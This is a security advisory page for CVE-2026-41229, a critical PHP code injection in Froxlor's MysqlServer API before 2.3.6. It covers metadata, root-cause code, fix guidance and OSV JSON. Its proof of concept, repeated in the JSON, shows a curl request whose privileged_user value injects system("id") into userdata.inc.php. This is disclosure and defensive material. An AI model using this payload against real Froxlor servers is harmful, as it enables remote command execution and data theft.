CVE-2026-41229: Froxlor/froxlor Froxlor Has A PHP Code Vulnerability

CRITICAL
Advisory Identifier: GHSA-gc9w-cc93-rjv8
CVSS 9.1
CWE-94
Published
Advisory Summary

CVE-2026-41229 is a CRITICAL (CVSS 9.1) froxlor has a php code vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Froxlor/froxlor libraries in the Packagist ecosystem. The issue involves froxlor has a php code injection via unescaped single quotes in userdata.inc.php generation (mysqlserver api). Remediation is available by upgrading affected packages to version 2.3.6.

CVE-2026-41229 at a Glance

CVE Identifier CVE-2026-41229
GHSA Identifier GHSA-gc9w-cc93-rjv8
Severity CRITICAL
CVSS v3.1 Base Score 9.1
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Froxlor/froxlor
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-41229

To remediate this vulnerability, upgrade all affected Froxlor/froxlor dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

froxlor/froxlor fixed: 2.3.6
Upgrade froxlor/froxlor to 2.3.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for froxlor/froxlor

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-41229, inspect your project dependencies for Froxlor/froxlor:

inspect dependencies for froxlor/froxlor

Analyze the terminal output to locate any version of Froxlor/froxlor in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Froxlor/froxlor, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `PhpHelper::parseArrayToString()` writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with `change_serversettings` permission adds or updates a MySQL server via the API, the `privileged_user` parameter (which has no input validation) is written unescaped into `lib/userdata.inc.php`. Since this file is `require`d on every request via `Database::getDB()`, an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load. ## Details The root cause is in `PhpHelper::parseArrayToString()` at `lib/Froxlor/PhpHelper.php:486`: ```php // lib/Froxlor/PhpHelper.php:475-487 foreach ($array as $key => $value) { if (!is_array($value)) { if (is_bool($value)) { $str .= self::tabPrefix($depth, sprintf("'%s' => %s,\n", $key, $value ? 'true' : 'false')); } elseif (is_int($value)) { $str .= self::tabPrefix($depth, "'{$key}' => $value,\n"); } else { if ($key == 'password') { // special case for passwords (nowdoc) $str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n"); } else { // VULNERABLE: $value interpolated without escaping single quotes $str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n"); } } } } ``` Note that the `password` key receives special treatment via nowdoc syntax (line 484), which is safe because nowdoc does not interpret any escape sequences or variable interpolation. However, all other string keys — including `user`, `caption`, and `caFile` — are written directly into single-quoted PHP string literals with no escaping. The attack path through `MysqlServer::add()` (`lib/Froxlor/Api/Commands/MysqlServer.php:80`): 1. `validateAccess()` (line 82) checks the caller is an admin with `change_serversettings` 2. `privileged_user` is read via `getParam()` at line 88 with **no validation** applied 3. `mysql_ca` is also read with no validation at line 86 4. The values are placed into the `$sql_root` array at lines 150-160 5. `generateNewUserData()` is called at line 162, which calls `PhpHelper::parseArrayToPhpFile()` → `parseArrayToString()` 6. The result is written to `lib/userdata.inc.php` via `file_put_contents()` (line 548) 7. Setting `test_connection=0` (line 92, 110) skips the PDO connection test, so no valid MySQL credentials are needed The generated `userdata.inc.php` is loaded on **every request** via `Database::getDB()` at `lib/Froxlor/Database/Database.php:431`: ```php require Froxlor::getInstallDir() . "/lib/userdata.inc.php"; ``` The `MysqlServer::update()` method (line 337) has the identical vulnerability with `privileged_user` at line 387. ## PoC **Step 1: Inject PHP code via MysqlServer.add API** ```bash curl -s -X POST https://froxlor.example/api.php \ -u 'ADMIN_APIKEY:ADMIN_APISECRET' \ -H 'Content-Type: application/json' \ -d '{ "command": "MysqlServer.add", "params": { "mysql_host": "127.0.0.1", "mysql_port": 3306, "privileged_user": "x'\''.system(\"id\").'\''", "privileged_password": "anything", "description": "test", "test_connection": 0 } }' ``` This writes the following into `lib/userdata.inc.php`: ```php 'user' => 'x'.system("id").'', ``` **Step 2: Trigger code execution** Any subsequent HTTP request to the Froxlor panel triggers `Database::getDB()`, which `require`s `userdata.inc.php`, executing `system("id")` as the web server user: ```bash curl -s https://froxlor.example/ ``` The `id` output will appear in the response (or can be captured via out-of-band methods for blind execution). **Step 3: Cleanup (attacker would also clean up)** The injected code runs on every request until `userdata.inc.php` is regenerated or manually fixed. ## Impact An admin with `change_serversettings` permission can escalate to **arbitrary OS command execution** as the web server user. This represents a scope change from the Froxlor application boundary to the underlying operating system: - **Full server compromise**: Execute arbitrary commands as the web server user (typically `www-data`) - **Data exfiltration**: Read all hosted customer data, databases credentials, TLS private keys - **Lateral movement**: Access all MySQL databases using credentials stored in `userdata.inc.php` - **Persistent backdoor**: The injected code executes on every request, providing persistent access - **Denial of service**: Malformed PHP in `userdata.inc.php` can break the entire panel The `description` field (validated with `REGEX_DESC_TEXT = /^[^\0\r\n<>]*$/`) and `mysql_ca` field (no validation) are also injectable vectors through the same code path. ## Recommended Fix Escape single quotes in `PhpHelper::parseArrayToString()` before interpolating values into single-quoted PHP string literals. In single-quoted PHP strings, only `\'` and `\\` are interpreted, so both must be escaped: ```php // lib/Froxlor/PhpHelper.php:486 // Before (vulnerable): $str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n"); // After (fixed) - escape backslashes first, then single quotes: $escaped = str_replace(['\\', "'"], ['\\\\', "\\'"], $value); $str .= self::tabPrefix($depth, "'{$key}' => '{$escaped}',\n"); ``` Alternatively, use the same nowdoc syntax already used for passwords for all string values, which provides complete injection safety: ```php // Apply nowdoc to all string values, not just passwords: $str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n"); ``` Additionally, consider adding input validation to `privileged_user` and `mysql_ca` in `MysqlServer::add()` and `MysqlServer::update()` as defense-in-depth.

CVE-2026-41229 Affected Froxlor/froxlor Versions

1 component(s)
Fixed Versions:
2.3.6
Product / Package Ecosystem Affected Versions Fixed Version
froxlor/froxlor
Packagist
< 2.3.6
2.3.6

References

Frequently Asked Questions

What is CVE-2026-41229?
CVE-2026-41229 is a security vulnerability in Froxlor/froxlor involving Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API) under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Froxlor/froxlor versions are affected?
Affected versions include releases prior to 2.3.6 across affected packages: froxlor/froxlor.
What version fixes CVE-2026-41229?
Upgrading to 2.3.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is froxlor/froxlor affected?
Yes, froxlor/froxlor is affected in releases prior to 2.3.6. Upgrade your dependency to 2.3.6 or later.
What is the CVSS score of CVE-2026-41229?
CVE-2026-41229 has a CVSS v3.1 base score of 9.1 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-41229?
CVE-2026-41229 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check Packagist dependencies for CVE-2026-41229?
Run the dependency tree command: 'inspect dependencies for froxlor/froxlor'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gc9w-cc93-rjv8",
  "modified" : "2026-04-24T20:53:58Z",
  "published" : "2026-04-16T00:50:00Z",
  "aliases" : [ "CVE-2026-41229" ],
  "summary" : "Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)",
  "details" : "## Summary\n\n`PhpHelper::parseArrayToString()` writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with `change_serversettings` permission adds or updates a MySQL server via the API, the `privileged_user` parameter (which has no input validation) is written unescaped into `lib/userdata.inc.php`. Since this file is `require`d on every request via `Database::getDB()`, an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load.\n\n## Details\n\nThe root cause is in `PhpHelper::parseArrayToString()` at `lib/Froxlor/PhpHelper.php:486`:\n\n```php\n// lib/Froxlor/PhpHelper.php:475-487\nforeach ($array as $key => $value) {\n    if (!is_array($value)) {\n        if (is_bool($value)) {\n            $str .= self::tabPrefix($depth, sprintf(\"'%s' => %s,\\n\", $key, $value ? 'true' : 'false'));\n        } elseif (is_int($value)) {\n            $str .= self::tabPrefix($depth, \"'{$key}' => $value,\\n\");\n        } else {\n            if ($key == 'password') {\n                // special case for passwords (nowdoc)\n                $str .= self::tabPrefix($depth, \"'{$key}' => <<<'EOT'\\n{$value}\\nEOT,\\n\");\n            } else {\n                // VULNERABLE: $value interpolated without escaping single quotes\n                $str .= self::tabPrefix($depth, \"'{$key}' => '{$value}',\\n\");\n            }\n        }\n    }\n}\n```\n\nNote that the `password` key receives special treatment via nowdoc syntax (line 484), which is safe because nowdoc does not interpret any escape sequences or variable interpolation. However, all other string keys — including `user`, `caption`, and `caFile` — are written directly into single-quoted PHP string literals with no escaping.\n\nThe attack path through `MysqlServer::add()` (`lib/Froxlor/Api/Commands/MysqlServer.php:80`):\n\n1. `validateAccess()` (line 82) checks the caller is an admin with `change_serversettings`\n2. `privileged_user` is read via `getParam()` at line 88 with **no validation** applied\n3. `mysql_ca` is also read with no validation at line 86\n4. The values are placed into the `$sql_root` array at lines 150-160\n5. `generateNewUserData()` is called at line 162, which calls `PhpHelper::parseArrayToPhpFile()` → `parseArrayToString()`\n6. The result is written to `lib/userdata.inc.php` via `file_put_contents()` (line 548)\n7. Setting `test_connection=0` (line 92, 110) skips the PDO connection test, so no valid MySQL credentials are needed\n\nThe generated `userdata.inc.php` is loaded on **every request** via `Database::getDB()` at `lib/Froxlor/Database/Database.php:431`:\n\n```php\nrequire Froxlor::getInstallDir() . \"/lib/userdata.inc.php\";\n```\n\nThe `MysqlServer::update()` method (line 337) has the identical vulnerability with `privileged_user` at line 387.\n\n## PoC\n\n**Step 1: Inject PHP code via MysqlServer.add API**\n\n```bash\ncurl -s -X POST https://froxlor.example/api.php \\\n  -u 'ADMIN_APIKEY:ADMIN_APISECRET' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"command\": \"MysqlServer.add\",\n    \"params\": {\n      \"mysql_host\": \"127.0.0.1\",\n      \"mysql_port\": 3306,\n      \"privileged_user\": \"x'\\''.system(\\\"id\\\").'\\''\",\n      \"privileged_password\": \"anything\",\n      \"description\": \"test\",\n      \"test_connection\": 0\n    }\n  }'\n```\n\nThis writes the following into `lib/userdata.inc.php`:\n\n```php\n'user' => 'x'.system(\"id\").'',\n```\n\n**Step 2: Trigger code execution**\n\nAny subsequent HTTP request to the Froxlor panel triggers `Database::getDB()`, which `require`s `userdata.inc.php`, executing `system(\"id\")` as the web server user:\n\n```bash\ncurl -s https://froxlor.example/\n```\n\nThe `id` output will appear in the response (or can be captured via out-of-band methods for blind execution).\n\n**Step 3: Cleanup (attacker would also clean up)**\n\nThe injected code runs on every request until `userdata.inc.php` is regenerated or manually fixed.\n\n## Impact\n\nAn admin with `change_serversettings` permission can escalate to **arbitrary OS command execution** as the web server user. This represents a scope change from the Froxlor application boundary to the underlying operating system:\n\n- **Full server compromise**: Execute arbitrary commands as the web server user (typically `www-data`)\n- **Data exfiltration**: Read all hosted customer data, databases credentials, TLS private keys\n- **Lateral movement**: Access all MySQL databases using credentials stored in `userdata.inc.php`\n- **Persistent backdoor**: The injected code executes on every request, providing persistent access\n- **Denial of service**: Malformed PHP in `userdata.inc.php` can break the entire panel\n\nThe `description` field (validated with `REGEX_DESC_TEXT = /^[^\\0\\r\\n<>]*$/`) and `mysql_ca` field (no validation) are also injectable vectors through the same code path.\n\n## Recommended Fix\n\nEscape single quotes in `PhpHelper::parseArrayToString()` before interpolating values into single-quoted PHP string literals. In single-quoted PHP strings, only `\\'` and `\\\\` are interpreted, so both must be escaped:\n\n```php\n// lib/Froxlor/PhpHelper.php:486\n// Before (vulnerable):\n$str .= self::tabPrefix($depth, \"'{$key}' => '{$value}',\\n\");\n\n// After (fixed) - escape backslashes first, then single quotes:\n$escaped = str_replace(['\\\\', \"'\"], ['\\\\\\\\', \"\\\\'\"], $value);\n$str .= self::tabPrefix($depth, \"'{$key}' => '{$escaped}',\\n\");\n```\n\nAlternatively, use the same nowdoc syntax already used for passwords for all string values, which provides complete injection safety:\n\n```php\n// Apply nowdoc to all string values, not just passwords:\n$str .= self::tabPrefix($depth, \"'{$key}' => <<<'EOT'\\n{$value}\\nEOT,\\n\");\n```\n\nAdditionally, consider adding input validation to `privileged_user` and `mysql_ca` in `MysqlServer::add()` and `MysqlServer::update()` as defense-in-depth.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "froxlor/froxlor"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.3.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.3.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/security/advisories/GHSA-gc9w-cc93-rjv8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41229"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/commit/3589ddf93ab59eb2a8971f0f56cbf6266d03c4ae"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/froxlor/froxlor"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/releases/tag/2.3.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-16T00:50:00Z",
    "nvd_published_at" : "2026-04-23T04:16:19Z"
  }
}